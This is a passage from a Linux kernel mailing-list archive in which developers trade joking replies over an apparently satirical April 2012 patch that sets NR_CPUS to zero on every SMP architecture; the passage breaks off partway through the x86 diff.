> =C2=A0sh/Kconfig =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=
=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0| =C2=A0 11 ++++++-----
> =C2=A0sparc/Kconfig =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =
=C2=A0 =C2=A0 =C2=A0 | =C2=A0 =C2=A08 ++++----
> =C2=A0tile/Kconfig =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=
=A0 =C2=A0 =C2=A0 =C2=A0| =C2=A0 =C2=A09 +++++----
> =C2=A0x86/Kconfig =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=
=A0 =C2=A0 =C2=A0 =C2=A0 | =C2=A0 16 +++++++++-------
> =C2=A015 files changed, 78 insertions(+), 64 deletions(-)

You forgot to fix half of the architectures, a.o. m68k?

Gr{oetje,eeting}s,

=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=
=A0 =C2=A0 Geert (still at GMT+2)

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-=
m68k.org

In personal conversations with technical people, I call myself a hacker=
=2E But
when I'm talking to journalists I just say "programmer" or something li=
ke that.
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=
=A0 =C2=A0 =C2=A0 =C2=A0=C2=A0 =C2=A0=C2=A0 -- Linus Torvalds
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Paul E. McKenney" <paulmck@linux.vnet.ibm.com>
Newsgroups: gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: Re: [PATCH RFC] Simplify the Linux kernel by reducing its state space
Date: Sat, 31 Mar 2012 09:54:01 -0700
Lines: 73
Approved: news@gmane.org
Message-ID: <20120331165401.GD2450@linux.vnet.ibm.com>
References: <20120331163321.GA15809@linux.vnet.ibm.com>
 <CAMuHMdWTB+_AtqM6JixY=Oo_zmzX_dNxnivpARBYSbPJzp4t6A@mail.gmail.com>
Reply-To: paulmck@linux.vnet.ibm.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1333212899 16193 80.91.229.3 (31 Mar 2012 16:54:59 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 31 Mar 2012 16:54:59 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-alpha@vger.kernel.org,
	linux-arm-kernel@lists.infradead.org,
	uclinux-dist-devel@blackfin.uclinux.org,
	linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
	linux-m32r@ml.linux-m32r.org, linux-m32r-ja@ml.linux-m32r.org,
	linux-mips@linux-mips.org, linux-am33-list@redhat.com,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
	sparclinux@vger.kernel.org, tglx@linutronix.de,
	linux@arm.linux.org.uk, dhowells@redhat.com, jejb@parisc-linux.org,
	linux390@de.ibm.com, x86@kernel.org, cmetcalf@tilera.com,
	linux-m68k <linux-m68k@lists.linux-m68k.org>
To: Geert Uytterhoeven <geert@linux-m68k.org>
Original-X-From: linux-hexagon-owner@vger.kernel.org Sat Mar 31 18:54:54 2012
Return-path: <linux-hexagon-owner@vger.kernel.org>
Envelope-to: glphk-linux-hexagon@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-hexagon-owner@vger.kernel.org>)
	id 1SE1Zm-0003wY-35
	for glphk-linux-hexagon@plane.gmane.org; Sat, 31 Mar 2012 18:54:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751184Ab2CaQyx convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glphk-linux-hexagon@m.gmane.org>);
	Sat, 31 Mar 2012 12:54:53 -0400
Original-Received: from e33.co.us.ibm.com ([32.97.110.151]:50268 "EHLO
	e33.co.us.ibm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750944Ab2CaQyw (ORCPT
	<rfc822;linux-hexagon@vger.kernel.org>);
	Sat, 31 Mar 2012 12:54:52 -0400
Original-Received: from /spool/local
	by e33.co.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted
	for <linux-hexagon@vger.kernel.org> from <paulmck@linux.vnet.ibm.com>;
	Sat, 31 Mar 2012 10:54:49 -0600
Original-Received: from d03dlp03.boulder.ibm.com (9.17.202.179)
	by e33.co.us.ibm.com (192.168.1.133) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted;
	Sat, 31 Mar 2012 10:54:16 -0600
Original-Received: from d03relay02.boulder.ibm.com (d03relay02.boulder.ibm.com [9.17.195.227])
	by d03dlp03.boulder.ibm.com (Postfix) with ESMTP id A526219D804E;
	Sat, 31 Mar 2012 10:54:07 -0600 (MDT)
Original-Received: from d03av01.boulder.ibm.com (d03av01.boulder.ibm.com [9.17.195.167])
	by d03relay02.boulder.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id q2VGsF3p164176;
	Sat, 31 Mar 2012 10:54:15 -0600
Original-Received: from d03av01.boulder.ibm.com (loopback [127.0.0.1])
	by d03av01.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id q2VGsBSY008773;
	Sat, 31 Mar 2012 10:54:14 -0600
Original-Received: from paulmck-ThinkPad-W500 (sig-9-49-152-53.mts.ibm.com [9.49.152.53])
	by d03av01.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id q2VGsANj008727;
	Sat, 31 Mar 2012 10:54:10 -0600
Original-Received: by paulmck-ThinkPad-W500 (Postfix, from userid 1000)
	id 73E33E4ABB; Sat, 31 Mar 2012 09:54:01 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <CAMuHMdWTB+_AtqM6JixY=Oo_zmzX_dNxnivpARBYSbPJzp4t6A@mail.gmail.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Content-Scanned: Fidelis XPS MAILER
x-cbid: 12033116-2398-0000-0000-0000057A47C8
Original-Sender: linux-hexagon-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-hexagon.vger.kernel.org>
X-Mailing-List: linux-hexagon@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.hexagon:409 gmane.linux.kernel:1275911 gmane.linux.ports.alpha:1766 gmane.linux.ports.arm.kernel:159834 gmane.linux.hardware.blackfin.kernel.devel:6367 gmane.linux.ports.ia64:22175 gmane.linux.ports.mips.general:33942 gmane.linux.ports.parisc:4254 gmane.linux.ports.ppc64.devel:81352 gmane.linux.ports.sh.devel:14231 gmane.linux.ports.sparc:15991
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.hexagon/409>

On Sat, Mar 31, 2012 at 06:40:30PM +0200, Geert Uytterhoeven wrote:
> Hi Paul,
>=20
> On Sat, Mar 31, 2012 at 18:33, Paul E. McKenney
> <paulmck@linux.vnet.ibm.com> wrote:
> > Although there have been numerous complaints about the complexity o=
f
> > parallel programming (especially over the past 5-10 years), the pla=
in
> > truth is that the incremental complexity of parallel programming ov=
er
> > that of sequential programming is not as large as is commonly belie=
ved.
> > Despite that you might have heard, the mind-numbing complexity of m=
odern
> > computer systems is not due so much to there being multiple CPUs, b=
ut
> > rather to there being any CPUs at all. =A0In short, for the ultimat=
e in
> > computer-system simplicity, the optimal choice is NR_CPUS=3D0.
> >
> > This commit therefore limits kernel builds to zero CPUs. =A0This ch=
ange
> > has the beneficial side effect of rendering all kernel bugs harmles=
s.
> > Furthermore, this commit enables additional beneficial changes, for
> > example, the removal of those parts of the kernel that are not need=
ed
> > when there are zero CPUs.
> >
> > Signed-off-by: Paul E. McKenney <paulmck@linux.vnet.ibm.com>
> > Reviewed-by: Thomas Gleixner <tglx@linutronix.de>
> > ---
> >
> > =A0alpha/Kconfig =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 | =A0 11 +=
+++++-----
> > =A0arm/Kconfig =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 | =A0 =A0=
6 +++---
> > =A0blackfin/Kconfig =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0| =A0 =A03 +=
+-
> > =A0hexagon/Kconfig =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 | =A0 =A09 +=
++++----
> > =A0ia64/Kconfig =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0| =A0 =A0=
9 +++++----
> > =A0m32r/Kconfig =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0| =A0 10=
 ++++++----
> > =A0mips/Kconfig =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0| =A0 21=
 +++++++++++----------
> > =A0mn10300/Kconfig =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 | =A0 =A03 +=
+-
> > =A0parisc/Kconfig =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0| =A0 =A06=
 +++---
> > =A0powerpc/platforms/Kconfig.cputype | =A0 =A08 ++++----
> > =A0s390/Kconfig =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0| =A0 12=
 +++++++-----
> > =A0sh/Kconfig =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0| =A0 =
11 ++++++-----
> > =A0sparc/Kconfig =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 | =A0 =A08=
 ++++----
> > =A0tile/Kconfig =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0| =A0 =A0=
9 +++++----
> > =A0x86/Kconfig =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 | =A0 16=
 +++++++++-------
> > =A015 files changed, 78 insertions(+), 64 deletions(-)
>=20
> You forgot to fix half of the architectures, a.o. m68k?

I must confess that I fixed only the SMP-capable architectures.

I of course would welcome additions for UP-only architectures.

							Thanx, Paul


From - Thu Nov 08 21:08:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linas Vepstas <linasvepstas@gmail.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: Re: [PATCH RFC] Simplify the Linux kernel by reducing its state space
Date: Sat, 31 Mar 2012 14:57:46 -0500
Lines: 933
Approved: news@gmane.org
Message-ID: <CAHrUA35Bz68DtP-Znr=-+U+6P9CONXzN=9JdMXRfRwmVV9fy=Q@mail.gmail.com>
References: <20120331163321.GA15809@linux.vnet.ibm.com>
Reply-To: linasvepstas@gmail.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary=f46d040713dd2d7cb504bc8f6081
X-Trace: dough.gmane.org 1333223942 25079 80.91.229.3 (31 Mar 2012 19:59:02 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 31 Mar 2012 19:59:02 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-alpha@vger.kernel.org,
        linux-arm-kernel@lists.infradead.org,
        uclinux-dist-devel@blackfin.uclinux.org,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m32r@ml.linux-m32r.org, linux-m32r-ja@ml.linux-m32r.org,
        linux-mips@linux-mips.org, linux-am33-list@redhat.com,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, tglx@linutronix.de,
        linux@arm.linux.org.uk, dhowells@redhat.com, jejb@parisc-linux.org,
        linux390@de.ibm.com, x86@kernel.org, cmetcalf@tilera.com
To: paulmck@linux.vnet.ibm.com
Original-X-From: linux-mips-bounce@linux-mips.org Sat Mar 31 21:58:56 2012
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([78.24.191.182] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1SE4Rs-0002zD-6R
	for sgi-linux-mips@gmane.org; Sat, 31 Mar 2012 21:58:56 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:55220 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S1903632Ab2CaT6o (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Sat, 31 Mar 2012 21:58:44 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Sat, 31 Mar 2012 21:58:28 +0200 (CEST)
Original-Received: from mail-lpp01m010-f49.google.com ([209.85.215.49]:62627 "EHLO
        mail-lpp01m010-f49.google.com" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S1903631Ab2CaT6M (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Sat, 31 Mar 2012 21:58:12 +0200
Original-Received: by lagy4 with SMTP id y4so2245221lag.36
        for <linux-mips@linux-mips.org>; Sat, 31 Mar 2012 12:58:06 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:reply-to:in-reply-to:references:from:date:message-id
         :subject:to:cc:content-type;
        bh=/Bs6RI8WPSWJiPPL9lWVOy7KyStInDForymiraou0fU=;
        b=XDCvgCe9DD33AT6SadrZxkk/1TYEM4twnft70AYeuqC7oaMiTobDDRt28Bt11Nh0Bh
         H/EdAvu6LOmtq1M4pkKmRN+02yVfCdZySFvgAuElvoddYjf740kSD6JvSJREHYku5SxM
         xkdWXsdg/uSn0lCyiE09k1j8H3M4VbPLgotAwvVPzM3cBAwj4l5lhNOvjk8ORqYXoFf3
         drsAW7KVozsct16XTYiqXM5SqdfE6VzlWyDQznMgQTyQN8zZSb3EUE6UziZCnDbLrw7J
         CXfyWCK+dIiZwSa9IZkHC/sOpJIOjdHz7xw/bUHiXRSR/CXj+73sUER8kaJjDEdPUA80
         2IrQ==
Original-Received: by 10.152.104.43 with SMTP id gb11mr3394726lab.8.1333223886781; Sat,
 31 Mar 2012 12:58:06 -0700 (PDT)
Original-Received: by 10.112.7.2 with HTTP; Sat, 31 Mar 2012 12:57:46 -0700 (PDT)
In-Reply-To: <20120331163321.GA15809@linux.vnet.ibm.com>
X-archive-position: 32839
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: linasvepstas@gmail.com
Precedence: bulk
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:33943 gmane.linux.kernel:1275946 gmane.linux.ports.alpha:1767 gmane.linux.ports.arm.kernel:159839 gmane.linux.hardware.blackfin.kernel.devel:6368 gmane.linux.ports.hexagon:410 gmane.linux.ports.ia64:22176 gmane.linux.ports.parisc:4255 gmane.linux.ports.ppc64.devel:81353 gmane.linux.ports.sh.devel:14232 gmane.linux.ports.sparc:15992
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/33943>

--f46d040713dd2d7cb504bc8f6081
Content-Type: text/plain; charset=UTF-8

Hi,

I didn't actually try to compile the patch below; it didn't look like C
code so I wasn't sure what compiler to run it through.  I guess maybe its
python?  However, I'm very sure that the patches are completely correct,
because I read them, and I also know that Paul is a trustworthy programmer.
 Thus, please add my ack

Ack'ed by: Linas Vepstas <linasvepstas@gmail.com>


On 31 March 2012 11:33, Paul E. McKenney <paulmck@linux.vnet.ibm.com> wrote:

> Although there have been numerous complaints about the complexity of
> parallel programming (especially over the past 5-10 years), the plain
> truth is that the incremental complexity of parallel programming over
> that of sequential programming is not as large as is commonly believed.
> Despite that you might have heard, the mind-numbing complexity of modern
> computer systems is not due so much to there being multiple CPUs, but
> rather to there being any CPUs at all.  In short, for the ultimate in
> computer-system simplicity, the optimal choice is NR_CPUS=0.
>
> This commit therefore limits kernel builds to zero CPUs.  This change
> has the beneficial side effect of rendering all kernel bugs harmless.
> Furthermore, this commit enables additional beneficial changes, for
> example, the removal of those parts of the kernel that are not needed
> when there are zero CPUs.
>
> Signed-off-by: Paul E. McKenney <paulmck@linux.vnet.ibm.com>
> Reviewed-by: Thomas Gleixner <tglx@linutronix.de>
> ---
>
>  alpha/Kconfig                     |   11 ++++++-----
>  arm/Kconfig                       |    6 +++---
>  blackfin/Kconfig                  |    3 ++-
>  hexagon/Kconfig                   |    9 +++++----
>  ia64/Kconfig                      |    9 +++++----
>  m32r/Kconfig                      |   10 ++++++----
>  mips/Kconfig                      |   21 +++++++++++----------
>  mn10300/Kconfig                   |    3 ++-
>  parisc/Kconfig                    |    6 +++---
>  powerpc/platforms/Kconfig.cputype |    8 ++++----
>  s390/Kconfig                      |   12 +++++++-----
>  sh/Kconfig                        |   11 ++++++-----
>  sparc/Kconfig                     |    8 ++++----
>  tile/Kconfig                      |    9 +++++----
>  x86/Kconfig                       |   16 +++++++++-------
>  15 files changed, 78 insertions(+), 64 deletions(-)
>
> diff --git a/arch/alpha/Kconfig b/arch/alpha/Kconfig
> index 56a4df9..1766b4a 100644
> --- a/arch/alpha/Kconfig
> +++ b/arch/alpha/Kconfig
> @@ -541,14 +541,15 @@ config HAVE_DEC_LOCK
>        default y
>
>  config NR_CPUS
> -       int "Maximum number of CPUs (2-32)"
> -       range 2 32
> +       int "Maximum number of CPUs (0-0)"
> +       range 0 0
>        depends on SMP
> -       default "32" if ALPHA_GENERIC || ALPHA_MARVEL
> -       default "4" if !ALPHA_GENERIC && !ALPHA_MARVEL
> +       default "0" if ALPHA_GENERIC || ALPHA_MARVEL
> +       default "0" if !ALPHA_GENERIC && !ALPHA_MARVEL
>        help
>          MARVEL support can handle a maximum of 32 CPUs, all the others
> -          with working support have a maximum of 4 CPUs.
> +          with working support have a maximum of 4 CPUs.  But why take
> +         chances?  Just stick with zero CPUs.
>
>  config ARCH_DISCONTIGMEM_ENABLE
>        bool "Discontiguous Memory Support (EXPERIMENTAL)"
> diff --git a/arch/arm/Kconfig b/arch/arm/Kconfig
> index a48aecc..1f07a3a 100644
> --- a/arch/arm/Kconfig
> +++ b/arch/arm/Kconfig
> @@ -1551,10 +1551,10 @@ config PAGE_OFFSET
>        default 0xC0000000
>
>  config NR_CPUS
> -       int "Maximum number of CPUs (2-32)"
> -       range 2 32
> +       int "Maximum number of CPUs (0-0)"
> +       range 0 0
>        depends on SMP
> -       default "4"
> +       default "0"
>
>  config HOTPLUG_CPU
>        bool "Support for hot-pluggable CPUs (EXPERIMENTAL)"
> diff --git a/arch/blackfin/Kconfig b/arch/blackfin/Kconfig
> index abe5a9e..6a78549 100644
> --- a/arch/blackfin/Kconfig
> +++ b/arch/blackfin/Kconfig
> @@ -241,7 +241,8 @@ config SMP
>  config NR_CPUS
>        int
>        depends on SMP
> -       default 2 if BF561
> +       range 0 0
> +       default 0 if BF561
>
>  config HOTPLUG_CPU
>        bool "Support for hot-pluggable CPUs"
> diff --git a/arch/hexagon/Kconfig b/arch/hexagon/Kconfig
> index 9059e39..daab009 100644
> --- a/arch/hexagon/Kconfig
> +++ b/arch/hexagon/Kconfig
> @@ -158,13 +158,14 @@ config SMP
>
>  config NR_CPUS
>        int "Maximum number of CPUs" if SMP
> -       range 2 6 if SMP
> -       default "1" if !SMP
> -       default "6" if SMP
> +       range 0 0 if SMP
> +       default "0" if !SMP
> +       default "0" if SMP
>        ---help---
>          This allows you to specify the maximum number of CPUs which this
>          kernel will support.  The maximum supported value is 6 and the
> -         minimum value which makes sense is 2.
> +         minimum value which makes sense is 2.  But a limit of zero is
> +         so much safer!
>
>          This is purely to save memory - each supported CPU adds
>          approximately eight kilobytes to the kernel image.
> diff --git a/arch/ia64/Kconfig b/arch/ia64/Kconfig
> index bd72669..fea0e6d 100644
> --- a/arch/ia64/Kconfig
> +++ b/arch/ia64/Kconfig
> @@ -373,16 +373,17 @@ config SMP
>          If you don't know what to do here, say N.
>
>  config NR_CPUS
> -       int "Maximum number of CPUs (2-4096)"
> -       range 2 4096
> +       int "Maximum number of CPUs (0-0)"
> +       range 0 0
>        depends on SMP
> -       default "4096"
> +       default "0"
>        help
>          You should set this to the number of CPUs in your system, but
>          keep in mind that a kernel compiled for, e.g., 2 CPUs will boot
> but
>          only use 2 CPUs on a >2 CPU system.  Setting this to a value
> larger
>          than 64 will cause the use of a CPU mask array, causing a small
> -         performance hit.
> +         performance hit.  And setting it larger than zero risks all
> +         manner of software bugs, so we just play it safe.
>
>  config HOTPLUG_CPU
>        bool "Support for hot-pluggable CPUs (EXPERIMENTAL)"
> diff --git a/arch/m32r/Kconfig b/arch/m32r/Kconfig
> index ef80a65..68b9e88 100644
> --- a/arch/m32r/Kconfig
> +++ b/arch/m32r/Kconfig
> @@ -300,14 +300,16 @@ config CHIP_M32700_TS1
>        default n
>
>  config NR_CPUS
> -       int "Maximum number of CPUs (2-32)"
> -       range 2 32
> +       int "Maximum number of CPUs (0-0)"
> +       range 0 0
>        depends on SMP
> -       default "2"
> +       default "0"
>        help
>          This allows you to specify the maximum number of CPUs which this
>          kernel will support.  The maximum supported value is 32 and the
> -         minimum value which makes sense is 2.
> +         minimum value which makes sense is 2.  Zero may not make sense,
> +         but given that there is much in this world that does not make
> +         sense, zero it is!
>
>          This is purely to save memory - each supported CPU adds
>          approximately eight kilobytes to the kernel image.
> diff --git a/arch/mips/Kconfig b/arch/mips/Kconfig
> index 5ab6e89..3d7d06c 100644
> --- a/arch/mips/Kconfig
> +++ b/arch/mips/Kconfig
> @@ -2192,16 +2192,16 @@ config NR_CPUS_DEFAULT_64
>        bool
>
>  config NR_CPUS
> -       int "Maximum number of CPUs (2-64)"
> -       range 1 64 if NR_CPUS_DEFAULT_1
> +       int "Maximum number of CPUs (0-0)"
> +       range 0 0 if NR_CPUS_DEFAULT_1
>        depends on SMP
> -       default "1" if NR_CPUS_DEFAULT_1
> -       default "2" if NR_CPUS_DEFAULT_2
> -       default "4" if NR_CPUS_DEFAULT_4
> -       default "8" if NR_CPUS_DEFAULT_8
> -       default "16" if NR_CPUS_DEFAULT_16
> -       default "32" if NR_CPUS_DEFAULT_32
> -       default "64" if NR_CPUS_DEFAULT_64
> +       default "0" if NR_CPUS_DEFAULT_1
> +       default "0" if NR_CPUS_DEFAULT_2
> +       default "0" if NR_CPUS_DEFAULT_4
> +       default "0" if NR_CPUS_DEFAULT_8
> +       default "0" if NR_CPUS_DEFAULT_16
> +       default "0" if NR_CPUS_DEFAULT_32
> +       default "0" if NR_CPUS_DEFAULT_64
>        help
>          This allows you to specify the maximum number of CPUs which this
>          kernel will support.  The maximum supported value is 32 for 32-bit
> @@ -2212,7 +2212,8 @@ config NR_CPUS
>          This is purely to save memory - each supported CPU adds
>          approximately eight kilobytes to the kernel image.  For best
>          performance should round up your number of processors to the next
> -         power of two.
> +         power of two.  And just think how much more memory we will
> +         save by setting the limit to zero!
>
>  source "kernel/time/Kconfig"
>
> diff --git a/arch/mn10300/Kconfig b/arch/mn10300/Kconfig
> index 8f1c40d..85fc112 100644
> --- a/arch/mn10300/Kconfig
> +++ b/arch/mn10300/Kconfig
> @@ -201,7 +201,8 @@ config SMP
>  config NR_CPUS
>        int
>        depends on SMP
> -       default "2"
> +       range 0 0
> +       default "0"
>
>  source "kernel/Kconfig.preempt"
>
> diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
> index 242a1b7..358eaf8 100644
> --- a/arch/parisc/Kconfig
> +++ b/arch/parisc/Kconfig
> @@ -254,10 +254,10 @@ config HPUX
>        depends on !64BIT
>
>  config NR_CPUS
> -       int "Maximum number of CPUs (2-32)"
> -       range 2 32
> +       int "Maximum number of CPUs (0-0)"
> +       range 0 0
>        depends on SMP
> -       default "32"
> +       default "0"
>
>  endmenu
>
> diff --git a/arch/powerpc/platforms/Kconfig.cputype
> b/arch/powerpc/platforms/Kconfig.cputype
> index 425db18..5e607e0 100644
> --- a/arch/powerpc/platforms/Kconfig.cputype
> +++ b/arch/powerpc/platforms/Kconfig.cputype
> @@ -356,11 +356,11 @@ config SMP
>          If you don't know what to do here, say N.
>
>  config NR_CPUS
> -       int "Maximum number of CPUs (2-8192)"
> -       range 2 8192
> +       int "Maximum number of CPUs (0-0)"
> +       range 0 0
>        depends on SMP
> -       default "32" if PPC64
> -       default "4"
> +       default "0" if PPC64
> +       default "0"
>
>  config NOT_COHERENT_CACHE
>        bool
> diff --git a/arch/s390/Kconfig b/arch/s390/Kconfig
> index d172758..f9bc067 100644
> --- a/arch/s390/Kconfig
> +++ b/arch/s390/Kconfig
> @@ -169,15 +169,17 @@ config SMP
>          Even if you don't know what to do here, say Y.
>
>  config NR_CPUS
> -       int "Maximum number of CPUs (2-64)"
> -       range 2 64
> +       int "Maximum number of CPUs (0-0)"
> +       range 0 0
>        depends on SMP
> -       default "32" if !64BIT
> -       default "64" if 64BIT
> +       default "0" if !64BIT
> +       default "0" if 64BIT
>        help
>          This allows you to specify the maximum number of CPUs which this
>          kernel will support.  The maximum supported value is 64 and the
> -         minimum value which makes sense is 2.
> +         minimum value which makes sense is 2.  The minimal value that
> +         makes sense might well be 2, but we all know that the only
> +         -sane- value is zero!
>
>          This is purely to save memory - each supported CPU adds
>          approximately sixteen kilobytes to the kernel image.
> diff --git a/arch/sh/Kconfig b/arch/sh/Kconfig
> index 713fb58..5ddc7c0 100644
> --- a/arch/sh/Kconfig
> +++ b/arch/sh/Kconfig
> @@ -705,18 +705,19 @@ config SMP
>          If you don't know what to do here, say N.
>
>  config NR_CPUS
> -       int "Maximum number of CPUs (2-32)"
> -       range 2 32
> +       int "Maximum number of CPUs (0-0)"
> +       range 0 0
>        depends on SMP
> -       default "4" if CPU_SUBTYPE_SHX3
> -       default "2"
> +       default "0" if CPU_SUBTYPE_SHX3
> +       default "0"
>        help
>          This allows you to specify the maximum number of CPUs which this
>          kernel will support.  The maximum supported value is 32 and the
>          minimum value which makes sense is 2.
>
>          This is purely to save memory - each supported CPU adds
> -         approximately eight kilobytes to the kernel image.
> +         approximately eight kilobytes to the kernel image.  Debloating
> +         is the way, NR_CPUS to zero today!!!
>
>  config HOTPLUG_CPU
>        bool "Support for hot-pluggable CPUs (EXPERIMENTAL)"
> diff --git a/arch/sparc/Kconfig b/arch/sparc/Kconfig
> index ca5580e..0de9f0f 100644
> --- a/arch/sparc/Kconfig
> +++ b/arch/sparc/Kconfig
> @@ -177,10 +177,10 @@ config SMP
>  config NR_CPUS
>        int "Maximum number of CPUs"
>        depends on SMP
> -       range 2 32 if SPARC32
> -       range 2 1024 if SPARC64
> -       default 32 if SPARC32
> -       default 64 if SPARC64
> +       range 0 0 if SPARC32
> +       range 0 0 if SPARC64
> +       default 0 if SPARC32
> +       default 0 if SPARC64
>
>  source kernel/Kconfig.hz
>
> diff --git a/arch/tile/Kconfig b/arch/tile/Kconfig
> index 11270ca..a05112c 100644
> --- a/arch/tile/Kconfig
> +++ b/arch/tile/Kconfig
> @@ -126,14 +126,15 @@ source "init/Kconfig"
>  menu "Tilera-specific configuration"
>
>  config NR_CPUS
> -       int "Maximum number of tiles (2-255)"
> -       range 2 255
> +       int "Maximum number of tiles (0-0)"
> +       range 0 0
>        depends on SMP
> -       default "64"
> +       default "0"
>        ---help---
>          Building with 64 is the recommended value, but a slightly
>          smaller kernel memory footprint results from using a smaller
> -         value on chips with fewer tiles.
> +         value on chips with fewer tiles.  To minimize both memory
> +         footprint and bugs, use zero and only zero.
>
>  source "kernel/time/Kconfig"
>
> diff --git a/arch/x86/Kconfig b/arch/x86/Kconfig
> index 5bed94e..a6977f2 100644
> --- a/arch/x86/Kconfig
> +++ b/arch/x86/Kconfig
> @@ -773,19 +773,21 @@ config MAXSMP
>
>  config NR_CPUS
>        int "Maximum number of CPUs" if SMP && !MAXSMP
> -       range 2 8 if SMP && X86_32 && !X86_BIGSMP
> -       range 2 512 if SMP && !MAXSMP
> -       default "1" if !SMP
> -       default "4096" if MAXSMP
> -       default "32" if SMP && (X86_NUMAQ || X86_SUMMIT || X86_BIGSMP ||
> X86_ES7000)
> -       default "8" if SMP
> +       range 0 0 if SMP && X86_32 && !X86_BIGSMP
